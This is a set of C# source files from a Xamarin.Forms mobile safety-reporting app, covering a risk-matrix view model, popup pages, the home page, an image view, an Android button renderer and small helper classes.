AlmostCertainMajor20Color = AppSetting.Current.Colors.RedBackgroundColor;
AlmostCertainMajor20TextColor = Color.White;
IsThinAlmostCertain = false;
IsThinMajor = false;
break;
case "Almost certainCatastrophic":
SetBackgroundColors();
SetDefaultValues();
AlmostCertainCatastrophic25Color = AppSetting.Current.Colors.RedBackgroundColor;
AlmostCertainCatastrophic25TextColor = Color.White;
IsThinAlmostCertain = false;
IsThinCatastrophic = false;
break;
default:
SetBackgroundColors();
SetDefaultValues();
break;
}
}
private async Task OnButtonClickedCommand(RiskMatrixEnum button)
{
switch (button)
{
case RiskMatrixEnum.RareInsignificant:
SetBackgroundColors();
SetDefaultValues();
RareInsignificant1Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareInsignificant1TextColor = Color.White;
likehood = AppResources.Rare;
severity = AppResources.Insignificant;
IsThinRare = false;
IsThinInsignificant = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Rare, AppResources.Insignificant, AppResources.RareMessage,AppResources.InsignificantMessage));
break;
case RiskMatrixEnum.RareMinor:
SetBackgroundColors();
SetDefaultValues();
RareMinor2Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareMinor2TextColor = Color.White;
likehood = AppResources.Rare;
severity = AppResources.Minor;
IsThinRare = false;
IsThinMinor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Rare, AppResources.Minor, AppResources.RareMessage, AppResources.MinorMessage));
break;
case RiskMatrixEnum.RareModerate:
SetBackgroundColors();
SetDefaultValues();
RareModerate3Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareModerate3TextColor = Color.White;
likehood = AppResources.Rare;
severity = AppResources.Moderate;
IsThinRare = false;
IsThinModerate = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Rare, AppResources.Moderate, AppResources.RareMessage, AppResources.ModerateMessage));
break;
case RiskMatrixEnum.RareMajor:
SetBackgroundColors();
SetDefaultValues();
RareMajor4Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareMajor4TextColor = Color.White;
likehood = AppResources.Rare;
severity = AppResources.Major;
IsThinRare = false;
IsThinMajor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Rare, AppResources.MajorMessage, AppResources.RareMessage, AppResources.MajorMessage));
break;
case RiskMatrixEnum.RareCatastrophic:
SetBackgroundColors();
SetDefaultValues();
RareCatastrophic5Color = AppSetting.Current.Colors.YellowBackgroundColor;
RareCatastrophic5TextColor = Color.White;
likehood = AppResources.Rare;
severity = AppResources.Catastrophic;
IsThinRare = false;
IsThinCatastrophic = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Rare, AppResources.Catastrophic, AppResources.RareMessage, AppResources.CatastrophicMessage));
break;
case RiskMatrixEnum.UnikelyInsignificant:
SetBackgroundColors();
SetDefaultValues();
UnikelyInsignificant2Color = AppSetting.Current.Colors.GreenBackgroundColor;
UnikelyInsignificant2TextColor = Color.White;
likehood = AppResources.Unlikely;
severity = AppResources.Insignificant;
IsThinUnlikely = false;
IsThinInsignificant = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Unlikely, AppResources.Insignificant, AppResources.UnikelyMessage, AppResources.InsignificantMessage));
break;
case RiskMatrixEnum.UnikelyMinor:
SetBackgroundColors();
SetDefaultValues();
UnikelyMinor4Color = AppSetting.Current.Colors.GreenBackgroundColor;
UnikelyMinor4TextColor = Color.White;
likehood = AppResources.Unlikely;
severity = AppResources.Minor;
IsThinUnlikely = false;
IsThinMinor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Unlikely, AppResources.Minor, AppResources.UnikelyMessage, AppResources.MinorMessage));
break;
case RiskMatrixEnum.UnikelyModerate:
SetBackgroundColors();
SetDefaultValues();
UnikelyModerate6Color = AppSetting.Current.Colors.YellowBackgroundColor;
UnikelyModerate6TextColor = Color.White;
likehood = AppResources.Unlikely;
severity = AppResources.Moderate;
IsThinUnlikely = false;
IsThinModerate = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Unlikely, AppResources.Moderate, AppResources.UnikelyMessage, AppResources.ModerateMessage));
break;
case RiskMatrixEnum.UnikelyMajor:
SetBackgroundColors();
SetDefaultValues();
UnikelyMajor8Color = AppSetting.Current.Colors.YellowBackgroundColor;
UnikelyMajor8TextColor = Color.White;
likehood = AppResources.Unlikely;
severity = AppResources.Major;
IsThinUnlikely = false;
IsThinMajor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Unlikely, AppResources.Major, AppResources.UnikelyMessage, AppResources.MajorMessage));
break;
case RiskMatrixEnum.UnikelyCatastrophic:
SetBackgroundColors();
SetDefaultValues();
UnikelyCatastrophic10Color = AppSetting.Current.Colors.OrangeBackgroundColor;
UnikelyCatastrophic10TextColor = Color.White;
likehood = AppResources.Unlikely;
severity = AppResources.Catastrophic;
IsThinUnlikely = false;
IsThinCatastrophic = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Unlikely, AppResources.Catastrophic, AppResources.UnikelyMessage, AppResources.CatastrophicMessage));
break;
case RiskMatrixEnum.PossibleInsignificant:
SetBackgroundColors();
SetDefaultValues();
PossibleInsignificant3Color = AppSetting.Current.Colors.GreenBackgroundColor;
PossibleInsignificant3TextColor = Color.White;
likehood = AppResources.Possible;
severity = AppResources.Insignificant;
IsThinPossible = false;
IsThinInsignificant = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Possible, AppResources.Insignificant, AppResources.PossibleMessage, AppResources.InsignificantMessage));
break;
case RiskMatrixEnum.PossibleMinor:
SetBackgroundColors();
SetDefaultValues();
PossibleMinor6Color = AppSetting.Current.Colors.YellowBackgroundColor;
PossibleMinor6TextColor = Color.White;
likehood = AppResources.Possible;
severity = AppResources.Minor;
IsThinPossible = false;
IsThinMinor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Possible, AppResources.Minor, AppResources.PossibleMessage, AppResources.MinorMessage));
break;
case RiskMatrixEnum.PossibleModerate:
SetBackgroundColors();
SetDefaultValues();
PossibleModerate9Color = AppSetting.Current.Colors.YellowBackgroundColor;
PossibleModerate9TextColor = Color.White;
likehood = AppResources.Possible;
severity = AppResources.Moderate;
IsThinPossible = false;
IsThinModerate = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Possible, AppResources.Moderate, AppResources.PossibleMessage, AppResources.ModerateMessage));
break;
case RiskMatrixEnum.PossibleMajor:
SetBackgroundColors();
SetDefaultValues();
PossibleMajor12Color = AppSetting.Current.Colors.OrangeBackgroundColor;
PossibleMajor12TextColor = Color.White;
likehood = AppResources.Possible;
severity = AppResources.Major;
IsThinPossible = false;
IsThinMajor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Possible, AppResources.Major, AppResources.PossibleMessage, AppResources.MajorMessage));
break;
case RiskMatrixEnum.PossibleCatastrophic:
SetBackgroundColors();
SetDefaultValues();
PossibleCatastrophic15Color = AppSetting.Current.Colors.RedBackgroundColor;
PossibleCatastrophic15TextColor = Color.White;
likehood = AppResources.Possible;
severity = AppResources.Catastrophic;
IsThinPossible = false;
IsThinCatastrophic = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Possible, AppResources.Catastrophic, AppResources.PossibleMessage, AppResources.CatastrophicMessage));
break;
case RiskMatrixEnum.LikelyInsignificant:
SetBackgroundColors();
SetDefaultValues();
LikelyInsignificant4Color = AppSetting.Current.Colors.GreenBackgroundColor;
LikelyInsignificant4TextColor = Color.White;
likehood = AppResources.Likely;
severity = AppResources.Insignificant;
IsThinLikely = false;
IsThinInsignificant = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Likely, AppResources.Insignificant, AppResources.LikelyMessage, AppResources.InsignificantMessage));
break;
case RiskMatrixEnum.LikelyMinor:
SetBackgroundColors();
SetDefaultValues();
LikelyMinor8Color = AppSetting.Current.Colors.YellowBackgroundColor;
LikelyMinor8TextColor = Color.White;
likehood = AppResources.Likely;
severity = AppResources.Minor;
IsThinLikely = false;
IsThinMinor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Likely, AppResources.Minor, AppResources.LikelyMessage, AppResources.MinorMessage));
break;
case RiskMatrixEnum.LikelyModerate:
SetBackgroundColors();
SetDefaultValues();
LikelyModerate12Color = AppSetting.Current.Colors.OrangeBackgroundColor;
LikelyModerate12TextColor = Color.White;
likehood = AppResources.Likely;
severity = AppResources.Moderate;
IsThinLikely = false;
IsThinModerate = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Likely, AppResources.Moderate, AppResources.LikelyMessage, AppResources.ModerateMessage));
break;
case RiskMatrixEnum.LikelyMajor:
SetBackgroundColors();
SetDefaultValues();
LikelyMajor16Color = AppSetting.Current.Colors.RedBackgroundColor;
LikelyMajor16TextColor = Color.White;
likehood = AppResources.Likely;
severity = AppResources.Major;
IsThinLikely = false;
IsThinMajor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Likely, AppResources.Major, AppResources.LikelyMessage, AppResources.MajorMessage));
break;
case RiskMatrixEnum.LikelyCatastrophic:
SetBackgroundColors();
SetDefaultValues();
LikelyCatastrophic20Color = AppSetting.Current.Colors.RedBackgroundColor;
LikelyCatastrophic20TextColor = Color.White;
likehood = AppResources.Likely;
severity = AppResources.Catastrophic;
IsThinLikely = false;
IsThinCatastrophic = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.Likely, AppResources.Catastrophic, AppResources.LikelyMessage, AppResources.CatastrophicMessage));
break;
case RiskMatrixEnum.AlmostCertainInsignificant:
SetBackgroundColors();
SetDefaultValues();
AlmostCertainInsignificant5Color = AppSetting.Current.Colors.YellowBackgroundColor;
AlmostCertainInsignificant5TextColor = Color.White;
likehood = AppResources.AlmostCertain;
severity = AppResources.Insignificant;
IsThinAlmostCertain = false;
IsThinInsignificant = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.AlmostCertain, AppResources.Insignificant, AppResources.AlmostCertainMessage, AppResources.InsignificantMessage));
break;
case RiskMatrixEnum.AlmostCertainMinor:
SetBackgroundColors();
SetDefaultValues();
AlmostCertainMinor10Color = AppSetting.Current.Colors.OrangeBackgroundColor;
AlmostCertainMinor10TextColor = Color.White;
likehood = AppResources.AlmostCertain;
severity = AppResources.Minor;
IsThinAlmostCertain = false;
IsThinMinor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.AlmostCertain, AppResources.Minor, AppResources.AlmostCertainMessage, AppResources.MinorMessage));
break;
case RiskMatrixEnum.AlmostCertainModerate:
SetBackgroundColors();
SetDefaultValues();
AlmostCertainModerate15Color = AppSetting.Current.Colors.RedBackgroundColor;
AlmostCertainModerate15TextColor = Color.White;
likehood = AppResources.AlmostCertain;
severity = AppResources.Moderate;
IsThinAlmostCertain = false;
IsThinModerate = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.AlmostCertain, AppResources.Moderate, AppResources.AlmostCertainMessage, AppResources.ModerateMessage));
break;
case RiskMatrixEnum.AlmostCertainMajor:
SetBackgroundColors();
SetDefaultValues();
AlmostCertainMajor20Color = AppSetting.Current.Colors.RedBackgroundColor;
AlmostCertainMajor20TextColor = Color.White;
likehood = AppResources.AlmostCertain;
severity = AppResources.Major;
IsThinAlmostCertain = false;
IsThinMajor = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.AlmostCertain, AppResources.Major, AppResources.AlmostCertainMessage, AppResources.MajorMessage));
break;
case RiskMatrixEnum.AlmostCertainCatastrophic:
SetBackgroundColors();
SetDefaultValues();
AlmostCertainCatastrophic25Color = AppSetting.Current.Colors.RedBackgroundColor;
AlmostCertainCatastrophic25TextColor = Color.White;
likehood = AppResources.AlmostCertain;
severity = AppResources.Catastrophic;
IsThinAlmostCertain = false;
IsThinCatastrophic = false;
await PopupNavigation.Instance.PushAsync(new RiskMatrixPopUp(AppResources.AlmostCertain, AppResources.Catastrophic, AppResources.AlmostCertainMessage, AppResources.CatastrophicMessage));
break;
}
}
private void SetBackgroundColors()
{
RareInsignificant1Color = AppSetting.Current.Colors.GreenUnselectedColor;
UnikelyInsignificant2Color = AppSetting.Current.Colors.GreenUnselectedColor;
UnikelyMinor4Color = AppSetting.Current.Colors.GreenUnselectedColor;
PossibleMinor6Color = AppSetting.Current.Colors.YellowUnselectedColor;
PossibleModerate9Color = AppSetting.Current.Colors.YellowUnselectedColor;
LikelyModerate12Color = AppSetting.Current.Colors.OrangeUnselectedColor;
LikelyMajor16Color = AppSetting.Current.Colors.RedUnselectedColor;
AlmostCertainMajor20Color = AppSetting.Current.Colors.RedUnselectedColor;
AlmostCertainCatastrophic25Color = AppSetting.Current.Colors.RedUnselectedColor;
PossibleInsignificant3Color = AppSetting.Current.Colors.GreenUnselectedColor;
LikelyInsignificant4Color = AppSetting.Current.Colors.GreenUnselectedColor;
LikelyMinor8Color = AppSetting.Current.Colors.YellowUnselectedColor;
AlmostCertainInsignificant5Color = AppSetting.Current.Colors.YellowUnselectedColor;
AlmostCertainMinor10Color = AppSetting.Current.Colors.OrangeUnselectedColor;
AlmostCertainModerate15Color = AppSetting.Current.Colors.RedUnselectedColor;
RareMinor2Color = AppSetting.Current.Colors.GreenUnselectedColor;
UnikelyModerate6Color = AppSetting.Current.Colors.YellowUnselectedColor;
PossibleMajor12Color = AppSetting.Current.Colors.OrangeUnselectedColor;
LikelyCatastrophic20Color = AppSetting.Current.Colors.RedUnselectedColor;
RareModerate3Color = AppSetting.Current.Colors.GreenUnselectedColor;
RareMajor4Color = AppSetting.Current.Colors.GreenUnselectedColor;
RareCatastrophic5Color = AppSetting.Current.Colors.YellowUnselectedColor;
UnikelyMajor8Color = AppSetting.Current.Colors.YellowUnselectedColor;
UnikelyCatastrophic10Color = AppSetting.Current.Colors.OrangeUnselectedColor;
PossibleCatastrophic15Color = AppSetting.Current.Colors.RedUnselectedColor;
RareInsignificant1TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
UnikelyInsignificant2TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
UnikelyMinor4TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
PossibleMinor6TextColor = AppSetting.Current.Colors.YellowUnselectedTextColor;
PossibleModerate9TextColor = AppSetting.Current.Colors.YellowUnselectedTextColor;
LikelyModerate12TextColor = AppSetting.Current.Colors.OrangeUnselectedTextColor;
LikelyMajor16TextColor = AppSetting.Current.Colors.RedUnselectedTextColor;
AlmostCertainMajor20TextColor = AppSetting.Current.Colors.RedUnselectedTextColor;
AlmostCertainCatastrophic25TextColor = AppSetting.Current.Colors.RedUnselectedTextColor;
PossibleInsignificant3TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
LikelyInsignificant4TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
LikelyMinor8TextColor = AppSetting.Current.Colors.YellowUnselectedTextColor;
AlmostCertainInsignificant5TextColor = AppSetting.Current.Colors.YellowUnselectedTextColor;
AlmostCertainMinor10TextColor = AppSetting.Current.Colors.OrangeUnselectedTextColor;
AlmostCertainModerate15TextColor = AppSetting.Current.Colors.RedUnselectedTextColor;
RareMinor2TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
UnikelyModerate6TextColor = AppSetting.Current.Colors.YellowUnselectedTextColor;
PossibleMajor12TextColor = AppSetting.Current.Colors.OrangeUnselectedTextColor;
LikelyCatastrophic20TextColor = AppSetting.Current.Colors.RedUnselectedTextColor;
RareModerate3TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
RareMajor4TextColor = AppSetting.Current.Colors.GreenUnselectedTextColor;
RareCatastrophic5TextColor = AppSetting.Current.Colors.YellowUnselectedTextColor;
UnikelyMajor8TextColor = AppSetting.Current.Colors.YellowUnselectedTextColor;
UnikelyCatastrophic10TextColor = AppSetting.Current.Colors.OrangeUnselectedTextColor;
PossibleCatastrophic15TextColor = AppSetting.Current.Colors.RedUnselectedTextColor;
}
private void SetDefaultValues()
{
IsThinInsignificant = true;
IsThinMinor = true;
IsThinModerate = true;
IsThinMajor = true;
IsThinCatastrophic = true;
IsThinAlmostCertain = true;
IsThinLikely = true;
IsThinPossible = true;
IsThinUnlikely = true;
IsThinRare = true;
}
}
}
<file_sep>using System;
namespace GSK_Saftey.Enums
{
public enum EnvironmentEnum
{
DEV = 1,
TEST = 2,
VALIDATION = 3,
PRODUCTION = 4
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Rg.Plugins.Popup.Pages;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.PopUps
{
public class AttentionPopUp : PopupPage
{
public AttentionPopUp(string heading, string body)
{
Init(heading, body);
}
private void Init(string heading, string body)
{
this.Padding = new Thickness(App.ScreenSize.Width * 0.090, App.ScreenSize.Height * 0.400, App.ScreenSize.Width * 0.090, App.ScreenSize.Height * 0.400);
var gridMain = CreateGridLayout();
var labelHeading = CreateLabel(heading);
labelHeading.FontSize = AppSetting.Current.FontSize.Medium + 2;
labelHeading.VerticalOptions = LayoutOptions.End;
var labelBody = CreateLabel(body);
labelBody.FontSize = AppSetting.Current.FontSize.Small + 2;
var buttonClose = CreateButton();
var frame = CreateFrame();
gridMain.Children.Add(frame, 0, 3, 0, 2);
gridMain.Children.Add(labelHeading, 1, 2, 0, 1);
gridMain.Children.Add(labelBody, 1, 2, 1, 2);
gridMain.Children.Add(buttonClose, 2, 3, 0, 1);
buttonClose.Clicked += ButtonClose_Clicked;
this.Content = gridMain;
}
private void ButtonClose_Clicked(object sender, EventArgs e)
{
PopupNavigation.Instance.PopAsync(true);
}
private BoxView CreateFrame()
{
var frame = new BoxView
{
CornerRadius = 10,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
BackgroundColor = AppSetting.Current.Colors.AttentionPopUpBackgroundColor,
};
return frame;
}
private CustomGrid CreateGridLayout()
{
var gridLocal = new CustomGrid
{
HorizontalOptions = LayoutOptions.CenterAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
RowDefinitions = {
new RowDefinition { Height = App.ScreenSize.Height * 0.040 },
new RowDefinition { Height = App.ScreenSize.Height * 0.080 },
},
ColumnDefinitions = {
new ColumnDefinition { Width = App.ScreenSize.Width * 0.020 },
new ColumnDefinition { Width = App.ScreenSize.Width * 0.700 },
new ColumnDefinition { Width = App.ScreenSize.Width * 0.100 },
}
};
return gridLocal;
}
private CustomLabel CreateLabel(string text)
{
var label = new CustomLabel()
{
Text = text,
TextColor = AppSetting.Current.Colors.FontBlueColor,
VerticalOptions = LayoutOptions.Center,
};
return label;
}
private CustomButton CreateButton()
{
var button = new CustomButton
{
Image = Images.CancelImage,
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.End,
VerticalOptions = LayoutOptions.Start,
WidthRequest = App.ScreenSize.Width * 0.050,
HeightRequest = App.ScreenSize.Width * 0.050,
Margin = new Thickness(0, 10, 10, 0)
};
return button;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using GSK_Saftey.Settings;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.CustomControls;
using XFBase.CustomUI;
using GSK_Saftey.Pages.CustomControl;
namespace GSK_Saftey.Pages
{
public class HomePage : BasePage
{
CustomStackLayout stackMain;
CustomScrollView scrollView;
CustomImageButton preferenceImageButton, buttonEmergency, buttonReport, buttonHistory,buttonSavedDrafts;
private HomePageViewModel ViewModel
{
get => BindingContext as HomePageViewModel;
set => BindingContext = value;
}
public HomePage(HomePageViewModel viewModel)
{
this.ViewModel = viewModel;
this.Title = AppResources.Homepage;
Init();
}
private void Init()
{
#region Declarations
// Buttons
preferenceImageButton = CreateButton(AppResources.Preferences, Images.PreferencesImage, AppSetting.Current.Colors.OrangeColor, AppSetting.Current.FontSize.Medium, Color.Transparent,true);
preferenceImageButton.button.HeightRequest = ScreenHeight * 0.080;
preferenceImageButton.button.BorderColor = AppSetting.Current.Colors.OrangeColor;
preferenceImageButton.button.CornerRadius = 7;
preferenceImageButton.button.BorderWidth = 1;
buttonReport = CreateButton(AppResources.ReportSafetyObservation,Images.ObservationImage,AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Medium, AppSetting.Current.Colors.OrangeColor, true);
buttonEmergency = CreateButton(AppResources.Emergency, Images.EmergencyImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Medium, AppSetting.Current.Colors.OrangeColor, true);
buttonHistory = CreateButton(AppResources.History, Images.HistoryImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Medium, AppSetting.Current.Colors.OrangeColor, true);
buttonSavedDrafts = CreateButton(AppResources.SavedDrafts, Images.SavedImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Medium, AppSetting.Current.Colors.OrangeColor, true);
// Layouts
stackMain = new CustomStackLayout();
stackMain.Margin = new Thickness(0, ScreenHeight * 0.080, 0, 0);
stackMain.Spacing = ScreenHeight * 0.080;
stackMain.WidthRequest = ScreenWidth * 0.800;
scrollView = new CustomScrollView();
#endregion
#region Bindings
buttonHistory.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSavedObservationCommand));
buttonEmergency.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonEmergencyCommand));
buttonReport.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonReportCommand));
preferenceImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonPreferencesCommand));
buttonSavedDrafts.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSavedDraftsCommand));
#endregion
//Fill Layout
stackMain.Children.Add(preferenceImageButton);
stackMain.Children.Add(buttonReport);
stackMain.Children.Add(buttonEmergency);
stackMain.Children.Add(buttonHistory);
stackMain.Children.Add(buttonSavedDrafts);
scrollView.Content = stackMain;
Content = scrollView;
}
private CustomImageButton CreateButton(string text,string imageSource,Color textColor,double fontSize,Color backgroundColor,bool isCentered = false)
{
var btn = new CustomImageButton(text,imageSource,textColor,fontSize,backgroundColor,isCentered);
if (isCentered)
{
btn.button.CornerRadius = 5;
btn.gridMain.HorizontalOptions = LayoutOptions.Center;
}
btn.button.WidthRequest = ScreenWidth * 0.800;
btn.button.HeightRequest = ScreenHeight * 0.075;
return btn;
}
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class XFCustomEntry : Entry
{
public XFCustomEntry()
{
}
}
}
<file_sep>using System;
using FFImageLoading.Forms;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.ContentViews
{
public class ImageView : CustomContentView
{
public CustomButton buttonTakePicture, buttonDelete;
public CachedImage imageDefault, imageSelected ,imageDelete;
CustomLabel labelTakePicture;
public BoxView boxView;
public TapGestureRecognizer tapGesture;
public CustomGrid gridMain;
public CustomStackLayout stackDefault;
public ImageView()
{
#region Declarations
// Labels
labelTakePicture = new CustomLabel();
labelTakePicture.Text = AppResources.TabToTakeAPicture;
labelTakePicture.TextColor = AppSetting.Current.Colors.LabelsColors;
labelTakePicture.FontSize = AppSetting.Current.FontSize.Small;
labelTakePicture.HorizontalOptions = LayoutOptions.Center;
// Buttons
buttonTakePicture = new CustomButton();
buttonTakePicture.HorizontalOptions = LayoutOptions.FillAndExpand;
buttonTakePicture.VerticalOptions = LayoutOptions.FillAndExpand;
buttonTakePicture.BackgroundColor = Color.Transparent;
// Images
imageDefault = new CachedImage
{
Source = Images.EmptyImage,
VerticalOptions = LayoutOptions.Center,
HeightRequest = ScreenHeight * 0.080,
WidthRequest = ScreenHeight * 0.080
};
imageSelected = new CachedImage
{
Aspect = Aspect.AspectFit,
};
imageDelete = new CachedImage
{
Source = Images.DeleteImage,
BackgroundColor = Color.Transparent,
VerticalOptions = LayoutOptions.Start,
HorizontalOptions = LayoutOptions.End,
WidthRequest = 30,
HeightRequest = 30
};
tapGesture = new TapGestureRecognizer();
imageDelete.GestureRecognizers.Add(tapGesture);
// Box View
boxView = new BoxView();
boxView.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
boxView.VerticalOptions = LayoutOptions.FillAndExpand;
boxView.HorizontalOptions = LayoutOptions.FillAndExpand;
boxView.CornerRadius = 5;
// Layouts
stackDefault = new CustomStackLayout
{
Spacing = ScreenHeight * 0.020,
HorizontalOptions = LayoutOptions.Center,
VerticalOptions = LayoutOptions.Center
};
gridMain = new CustomGrid();
gridMain.WidthRequest = ScreenWidth * 0.740;
gridMain.HeightRequest = ScreenHeight * 0.230;
gridMain.HorizontalOptions = LayoutOptions.Center;
#endregion
#region Fill Layouts
stackDefault.Children.Add(imageDefault);
stackDefault.Children.Add(labelTakePicture);
gridMain.Children.Add(boxView);
gridMain.Children.Add(stackDefault);
gridMain.Children.Add(buttonTakePicture);
gridMain.Children.Add(imageSelected);
gridMain.Children.Add(imageDelete);
Content = gridMain;
#endregion
}
}
}
<file_sep>using System;
using System.ComponentModel;
using Android.Content;
using Android.Graphics;
using GSK_Saftey.Droid.CustomRenderers;
using GSK_Saftey.Helpers.CustomControls;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
[assembly: ExportRenderer(typeof(CustomButton), typeof(CustomButtonRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomButtonRenderer : ButtonRenderer
{
public CustomButtonRenderer(Context context) : base(context)
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Button> e)
{
base.OnElementChanged(e);
Control.SetAllCaps(false);
Control.SetPadding(0, 0, 0, 0);
var customButton = e.NewElement as CustomButton;
if (customButton != null && customButton.IsThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
var buttonCustom = (CustomButton)sender;
if (Control != null && e.PropertyName == "IsThinProperty")
{
if (buttonCustom.IsThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
}
}
}
}
<file_sep>using System;
using Newtonsoft.Json;
namespace XFBase.Web
{
public class ResultObject
{
public ResultObject()
{
}
public ResultObject(object data)
{
Success = true;
ErrorMessage = null;
Data = data;
}
public ResultObject(bool success, string errorMessage, object data = null)
{
Success = success;
ErrorMessage = errorMessage;
Data = data;
}
public bool Success { get; set; }
public string ErrorMessage { get; set; }
public object Data { get; set; }
public Guid? HeaderId { get; set; }
public virtual bool HasErrors
{
get
{
return !string.IsNullOrEmpty(ErrorMessage);
}
}
public T GetData<T>()
{
if (Data != null)
{
return JsonConvert.DeserializeObject<T>(Data.ToString());
}
return default(T);
}
}
}
<file_sep>using System;
namespace XFBase.Helpers
{
public class PerformanceTimer
{
private DateTime start, end;
private TimeSpan miliseconds;
private string name;
public PerformanceTimer(string name = "test")
{
this.name = name;
}
public void Start()
{
start = DateTime.Now;
}
public void Stop()
{
end = DateTime.Now;
miliseconds = end - start;
}
public void LogResult()
{
System.Diagnostics.Debug.WriteLine("EXECUTION TIME " + miliseconds.Seconds.ToString() + " (" + name + ")");
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.MessageHubMessages;
using GSK_Saftey.Models;
using GSK_Saftey.Pages.ViewCells;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Rg.Plugins.Popup.Pages;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.PopUps
{
public class ListViewPopUp : PopupPage
{
private ConsequencesEnum ConsequencesSelectedEnum;
public ListViewPopUp(string heading, List<string> source, ConsequencesEnum consequencesselectedEnum)
{
ConsequencesSelectedEnum = consequencesselectedEnum;
Init(heading, source);
}
private void Init(string head, List<string> source)
{
this.Padding = new Thickness(App.ScreenSize.Width * 0.090, App.ScreenSize.Height * 0.320, App.ScreenSize.Width * 0.090, App.ScreenSize.Height * 0.320);
var gridMain = CreateGridLayout();
var labelHeading = CreateLabel(head.ToUpper());
labelHeading.FontSize = AppSetting.Current.FontSize.Medium + 2;
labelHeading.HorizontalOptions = LayoutOptions.Center;
var buttonClose = CreateButton();
var frame = CreateFrame();
var listViewMain = CreateListView();
listViewMain.ItemsSource = source;
listViewMain.HasUnevenRows = true;
listViewMain.ItemTemplate = new DataTemplate(typeof(SimpleTextViewCell));
listViewMain.HorizontalOptions = LayoutOptions.Center;
listViewMain.SeparatorVisibility = SeparatorVisibility.None;
listViewMain.ItemSelected += ListViewMain_ItemSelected;
gridMain.Children.Add(frame, 0, 3, 0, 2);
gridMain.Children.Add(labelHeading, 1, 2, 0, 1);
gridMain.Children.Add(listViewMain, 1, 2, 1, 2);
gridMain.Children.Add(buttonClose, 2, 3, 0, 1);
buttonClose.Clicked += ButtonClose_Clicked;
this.Content = gridMain;
}
